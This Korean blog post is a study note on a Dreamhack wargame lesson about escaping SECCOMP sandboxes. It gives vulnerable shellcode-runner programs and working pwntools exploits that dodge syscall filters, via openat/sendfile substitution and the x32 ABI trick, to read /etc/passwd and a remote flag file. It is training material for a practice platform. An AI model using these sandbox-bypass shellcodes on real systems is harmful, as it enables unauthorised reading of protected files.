본문 바로가기
Security/System Hacking

[Dreamhack System Hacking Advanced] STAGE 2 - 함께 실습

by 단월໒꒱ 2022. 9. 18.

 

Exploit Tech: Bypass SECCOMP

 

  정의된 SECCOMP 규칙을 우회하는 방법을 알아보고 해당 기술이 적용된 예제를 공격해보자.

 

 

 

Bypass SECCOMP

 

  SECCOMP는 시스템 콜 뿐만 아니라 전달되는 인자까지 추적하고 비교할 수 있다. 인자를 비교하는 것은 너무 많은 예외 상황이 있을 수 있기 때문에 많은 개발자들은 시스템 콜을 호출하지 못하도록 설정한다.

 

 타 시스템 콜 호출

  같은 기능을 하는 서로 다른 시스템 콜이 몇 가지 존재한다. ex) 파일을 열기 위해서 사용하는 시스템 콜 : open, openat

  만약 규칙이 open 시스템 콜을 호출하지 못하도록 정의되어 있다면 openat을 사용해 개발자가 의도하지 않은 행위를 할 수 있다.

 

 Application Binary Interface (ABI)

  아키텍처 별로 명령어 세트와 기능, 크기 등이 다르기 때문에 애플리케이션 운영 목적에 따라 알맞는 아키텍처를 선택해 사용한다. 따라서 커널 코드는 이 모든 것을 고려한 코드로 작성되어 있다.

  아키텍처 별로 시스템 콜 번호가 다른 점과 서로 다른 아키텍처를 호환하기 위한 코드를 이용해 우회를 할 수 있다.

 

 

 

코드 분석

 

  다음은 타 시스템 콜 호출 실습 코드이다.

 

// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  
  init();
  
  memset(shellcode, 0, 0x1000);
  
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  
  sandbox();
  
  sc = (void *)shellcode;
  sc();
}

 

 

  이 코드는 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다. 

  sandbox 함수를 살펴보면, ALLOW 리스트 기반으로 되어 있고, 시스템 명령어를 실행하는 execve와 파일을 열고 쓰는 open, write 시스템 콜을 사용할 수 없게 되어있다.

 

 

 

익스플로잇

 

익스플로잇 설계

 

 1. 시스템 콜 찾기

  같은 기능을 하는 시스템 콜이 있는지 확인해야 한다.

  open은 파일을 열기 위한 시스템 콜로, 이와 같은 역할을 수행하는 openat 시스템 콜이 존재한다. 두 시스템 콜은 파일을 열고 파일 디스크립터를 반환한다는 점에서 비슷하지만, openat은 전달된 인자인 dirfd를 참조해 해당 경로에서 파일을 찾는다는 점에서 조금 다르다.

 

 2. 시스템 콜 호출

시스템 콜을 호출하기 전에 시스템 콜의 인자를 확인해야 한다. openat 시스템 콜의 원형은 다음과 같다.

 

 

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

 

 

  해당 시스템 콜의 매뉴얼을 읽어보면, 두 번째 인자인 pathname이 절대 경로로 명시되어 있을 경우 첫 번째 인자인 dirfd가 무시된다는 내용이 있다. 따라서 해당 시스템 콜의 번호를 알아내고 두 번째 인자에 파일 경로 문자열의 주소를 전달하면 파일의 내용을 읽을 수 있다.

 

 

시스템 콜 호출

  시스템 콜을 이해했다면 해당 시스템 콜을 호출하는 셸코드를 작성해야 한다.

 

  openat 시스템 콜을 호출할 때는 두 번째 인자에 절대 경로로 읽을 파일명의 주소를 전달하고, 이외 인자를 NULL로 초기화한다. 인자를 알맞게 전달하기 위해 콜링 컨벤션을 다시 한번 되짚어보고 셸코드를 작성한다.

 

  다음은 bypass_seccomp 예제의 SECCOMP를 우회한 익스플로잇 코드이다.

 

 

# Name: bypass_seccomp.py

from pwn import *

context.arch = 'x86_64'
p = process("./bypass_seccomp")

shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))

p.interactive()

 

 

  코드를 살펴보면, open과 비슷한 기능을 수행하는 openat 시스템 콜을 호출한 것을 확인할 수 있다. 또한, 파일의 내용을 출력하기 위해 sendfile 시스템 콜을 사용했다. 해당 시스템 콜의 원형은 다음과 같다.

 

 

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

 

 

  읽을 파일의 fd를 두 번째 인자인 in_fd에 넣어주고, 표준 출력(STDOUT)의 fd인 1을 out_fd에 삽입하면 파일의 내용을 읽을 수 있다.

 

  다음은 익스플로잇 코드를 실행한 결과이다.

 

 

 

 

 

 

ABI

 

  SECCOMP 라이브러리 함수를 사용한 바이너리를 seccomp-tools로 확인해보면 코드에서 정의하지 않은 비교 구문을 확인할 수 있다.

 

  다음은 비교 구문의 일부이다.

 

 

0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005

 

 

  이전 실습 코드를 살펴보면 시스템 콜 번호가 0x40000000 보다 큰지 검사하는 코드는 존재하지 않는다.

  하지만 seccomp-tools를 통해 적용된 규칙을 확인해보면 이러한 비교 구문이 추가되어 있는 걸 확인할 수 있다. 반면에 라이브러리 함수를 사용하지 않은 예제의 경우 해당 비교 구문이 없는 것을 확인할 수 있다.

 

 

 

 

  결과를 비교해보면, SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있다. 

 

 

 

코드 분석

 

// Name: bypass_secbpf.c
// Compile: gcc -o bypass_secbpf bypass_secbpf.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      DENY_SYSCALL(read),
      DENY_SYSCALL(write),
      DENY_SYSCALL(vfork),
      DENY_SYSCALL(fork),
      DENY_SYSCALL(clone),
      DENY_SYSCALL(execve),
      DENY_SYSCALL(execveat),
      MAINTAIN_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  init();
  memset(shellcode, 0, 0x1000);
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  sandbox();
  sc = (void *)shellcode;
  sc();
}

 

 

  이 코드는 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다. 

  sandbox 함수를 살펴보면, DENY 리스트 기반으로, DENY_SYSCALL 매크로의 인자로 전달되는 시스템 콜을 호출할 수 없게 되어있다.

 

 

 

익스플로잇

 

익스플로잇 설계

 

 1. 시스템 콜 호출

  사용할 수 있는 시스템 콜을 먼저 찾아야 한다.

  정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있다.

 

  open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있다. 프로그램에서 해당 시스템 콜의 호출을 거부하지만 do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야 한다.

 

 

시스템 콜 호출

 

  다음은 익스플로잇 코드이다.

 

 

# Name: bypass_secbpf.py
from pwn import *

context.arch = 'x86_64'
p = process("./bypass_secbpf")

data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall

mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall

path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))

p.interactive()

 

 

  open, read, write 시스템 콜을 사용해 “/etc/passwd” 파일을 읽는 코드이다.

  시스템 콜을 호출하는 방식은 비슷하지만 시스템 콜 번호를 삽입할 때 or rax, 0x40000000 명령어가 존재한다. 이는 do_syscall_x32 함수 즉, x32 모드로 시스템 콜을 호출하기 위함이다.

 

  다음은 실행 결과이다.

 

 

 

 

  원래는 실행할 수 없었던 open, read, write 시스템 콜을 실행하여 "/etc/passwd"를 읽은 것을 확인할 수 있다.

 

 

 

Bypass SECCOMP-1

 

 

 

 

  위쪽에서 타 시스템콜 호출을 배우며 했던 코드이다.

  살짝만 수정해준다.

 

 

# Name: bypass_seccomp.py

from pwn import *

context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 17597)

shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))

p.interactive()

  

 

  

 

 

 

 

댓글